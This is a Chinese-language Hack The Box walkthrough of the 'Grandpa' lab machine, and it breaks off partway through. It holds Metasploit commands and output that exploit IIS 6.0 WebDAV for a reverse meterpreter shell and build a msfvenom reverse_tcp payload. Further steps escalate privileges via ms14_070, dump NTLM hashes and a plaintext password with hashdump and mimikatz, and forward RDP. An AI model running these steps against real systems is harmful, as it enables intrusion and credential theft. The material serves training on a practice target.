信息收集
Nmap
root@localhost:~/HTB/grandpa# nmap -p- -sV -sC 10.10.10.14 -oA scans/allport.tcp
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Error
| http-webdav-scan:
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| WebDAV type: Unknown
| Server Type: Microsoft-IIS/6.0
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|_ Server Date: Thu, 23 Apr 2020 13:11:29 GMT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
目录扫描
root@localhost:~/HTB/grandpa# dirb http://10.10.10.14 -o scans/dirb.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.14/ ----
==> DIRECTORY: http://10.10.10.14/_vti_bin/
+ http://10.10.10.14/_vti_bin/_vti_adm/admin.dll (CODE:200|SIZE:195)
+ http://10.10.10.14/_vti_bin/_vti_aut/author.dll (CODE:200|SIZE:195)
+ http://10.10.10.14/_vti_bin/shtml.dll (CODE:200|SIZE:96)
==> DIRECTORY: http://10.10.10.14/_vti_bin/_vti_aut
搜了下，这个东西叫FrontPage Server Extensions, 相关搜索比较少
http://10.10.10.14/_vti_bin/_vti_adm/fpadmdll.dll，有个401认证, 尝试弱密码，失败
又想起这是一篇“不一样”的真实渗透测试案例分析文章里说webbdav好像是有个xxe，在根目录上尝试，无果
msf打了了iis 6.0+sharepoint+webdav的exp，无果，用davtest扫描webdav是否有漏洞，全部失败。
root@localhost:~/HTB# davtest -url http://10.10.10.14
********************************************************
Testing DAV connection
OPEN SUCCEED: http://10.10.10.14
********************************************************
NOTE Random string for this session: dhNrel
********************************************************
Creating directory
MKCOL FAIL
********************************************************
Sending test files
PUT aspx FAIL
PUT jsp FAIL
PUT html FAIL
PUT cfm FAIL
PUT php FAIL
PUT pl FAIL
PUT jhtml FAIL
PUT txt FAIL
PUT shtml FAIL
PUT asp FAIL
PUT cgi FAIL
********************************************************
/usr/bin/davtest Summary:
苦苦搜寻，几番尝试无果后，准备看网上的walkthrough，居然是用msf中我尝试过的一个exp直接rce了，
重置下靶机吧。成功拿到第一个shell
msf5 > use windows/iis/iis_webdav_scstoragepathfromurl
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > show options
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run
[*] Started reverse TCP handler on 10.10.16.122:4444
[*] Trying path length 3 to 60 ...
[*] Sending stage (180291 bytes) to 10.10.10.14
[*] Meterpreter session 1 opened (10.10.16.122:4444 -> 10.10.10.14:1031) at 2020-04-24 06:02:23 +0000
提权
使用msf自带的一个提权测试模块，**post/multi/recon/**``**local_exploit_suggester**** **
msf5 > use post/multi/recon/local_exploit_suggester
msf5 post(multi/recon/local_exploit_suggester) > show options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits
msf5 post(multi/recon/local_exploit_suggester) > set showdescription true
showdescription => true
msf5 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf5 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.10.14 - Collecting local exploits for x86/windows...
[*] 10.10.10.14 - 30 exploit checks are being tried...
[+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The service is running,
but could not be validated.
This module will create a new session with SYSTEM privileges via the
KiTrap0D exploit by Tavis Ormandy. If the session in use is already
elevated then the exploit will not run. The module relies on
kitrap0d.x86.dll, and is not supported on x64 editions of Windows.
[+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu:
The target appears to be vulnerable.
This module exploits a NULL Pointer Dereference in win32k.sys, the
vulnerability can be triggered through the use of TrackPopupMenu.
Under special conditions, the NULL pointer dereference can be abused
on xxxSendMessageTimeout to achieve arbitrary code execution. This
module has been tested successfully on Windows XP SP3, Windows 2003
SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1
and Windows 2008 R2 SP1 64 bits.
[+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
A vulnerability within the Microsoft TCP/IP protocol driver
tcpip.sys can allow a local attacker to trigger a NULL pointer
dereference by using a specially crafted IOCTL. This flaw can be
abused to elevate privileges to SYSTEM.
[+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
This module exploits improper object handling in the win32k.sys
kernel mode driver. This module has been tested on vulnerable builds
of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64.
[+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
This module exploits the vulnerability in mrxdav.sys described by
MS16-016. The module will spawn a process on the target system and
elevate its privileges to NT AUTHORITY\SYSTEM before executing the
specified payload within the context of the elevated process.
[+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due
to the usage of uninitialized data which allows to corrupt memory.
At the moment, the module has been tested successfully on Windows XP
SP3, Windows 2003 SP1, and Windows 7 SP1.
[*] Post module execution completed
找个可写目录, 再反弹一个shell，以下exp均可成功提权
windows/local/ms14_058_track_popup_menuexploit/windows/local/ms14_070_tcpip_ioctl稳定windows/local/ms15_051_client_copy_image
meterpreter > upload payloads/16-122-4443.exe "C:\WINDOWS\Temp\shell.exe"
[*] uploading : payloads/16-122-4443.exe -> C:\WINDOWS\Temp\shell.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): payloads/16-122-4443.exe -> C:\WINDOWS\Temp\shell.exe
[*] uploaded : payloads/16-122-4443.exe -> C:\WINDOWS\Temp\shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.122 LPORT=4443 -f exe -o 16-122-4443.exe
# 上传并执行
upload shell.exe "C:\WINDOWS\Temp\shell.exe"
execute -f "C:\WINDOWS\Temp\shell.exe"
提权过程
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > run
[*] Started reverse TCP handler on 10.10.16.122:4443
[*] Storing the shellcode in memory...
[*] Triggering the vulnerability...
[*] Checking privileges after exploitation...
[+] Exploitation successful!
[*] Sending stage (180291 bytes) to 10.10.10.14
[*] Meterpreter session 2 opened
C:\Documents and Settings\
Administrator
All Users
Harry
# c:\Documents and Settings\Administrator\Desktop\root.txt
# c:\Documents and Settings\Harry\Desktop\user.txt
提权之后？
# 提权后
meterpreter > hashdump
Administrator:500:0a70918d669baeb307012642393148ab:34dec8a1db14cdde2a21967c3c997548:::
ASPNET:1007:3f71d62ec68a06a39721cb3f54f04a3b:edc0d5506804653f58964a2376bbd769:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Harry:1008:93c50499355883d1441208923e8628e6:031f5563e0ac4ba538e8ea325479740d:::
IUSR_GRANPA:1003:a274b4532c9ca5cdf684351fab962e86:6a981cb5e038b2d8b713743a50d89c88:::
IWAM_GRANPA:1004:95d112c4da2348b599183ac6b1d67840:a97f39734c21b3f6155ded7821d04d16:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:8ed3993efb4e6476e4f75caebeca93e6:::
mimikatz
使用mimikatz前需要先加载
meterpreter > load mimikatz
Loading extension mimikatz...Success.
meterpreter > mimikatz_command -f version
mimikatz 1.0 x86 (RC) (Mar 4 2020 19:36:53)
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;747507 NTLM GRANPA IUSR_GRANPA lm{ a274b4532c9ca5cdf684351fab962e86 }, ntlm{ 6a981cb5e038b2d8b713743a50d89c88 }
0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;44669 NTLM n.s. (Credentials KO)
0;999 NTLM HTB GRANPA$ n.s. (Credentials KO)
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;996 Negotiate NT AUTHORITY NETWORK SERVICE
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;44669 NTLM
0;999 NTLM HTB GRANPA$
0;747507 NTLM GRANPA IUSR_GRANPA 1_pEx9[v6;e24}
meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : granpa
BootKey : 11b5033b62a3d2d6bb80a0d45ea88bfb
Rid : 500
User : Administrator
LM : 0a70918d669baeb307012642393148ab
NTLM : 34dec8a1db14cdde2a21967c3c997548
Rid : 501
User : Guest
LM :
NTLM :
Rid : 1001
User : SUPPORT_388945a0
LM :
NTLM : 8ed3993efb4e6476e4f75caebeca93e6
Rid : 1003
User : IUSR_GRANPA
LM : a274b4532c9ca5cdf684351fab962e86
NTLM : 6a981cb5e038b2d8b713743a50d89c88
Rid : 1004
User : IWAM_GRANPA
LM : 95d112c4da2348b599183ac6b1d67840
NTLM : a97f39734c21b3f6155ded7821d04d16
Rid : 1007
User : ASPNET
LM : 3f71d62ec68a06a39721cb3f54f04a3b
NTLM : edc0d5506804653f58964a2376bbd769
Rid : 1008
User : Harry
LM : 93c50499355883d1441208923e8628e6
NTLM : 031f5563e0ac4ba538e8ea325479740d
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { IUSR_GRANPA ; GRANPA ; 1_pEx9[v6;e24} }
[1] { IUSR_GRANPA ; GRANPA ; 1_pEx9[v6;e24} }
[2] { _olic
rdp
首先进行端口转发
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
-R Indicates a reverse port forward.
-h Help banner.
-i <opt> Index of the port forward entry to interact with (see the "list" command).
-l <opt> Forward: local port to listen on. Reverse: local port to connect to.
-p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
-r <opt> Forward: remote host to connect to.
meterpreter > portfwd add -l 3389 -r 10.10.10.14 -p 3389
[*] Local TCP relay created: :3389 <-> 10.10.10.14:3389
在meterpreter里添加用户
meterpreter > run getgui -h
[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u <username> -p <password>
Or: getgui -e
OPTIONS:
-e Enable RDP only.
-f <opt> Forward RDP Connection.
-h Help menu.
-p <opt> The Password of the user to add.
-u <opt> The Username of the user to add.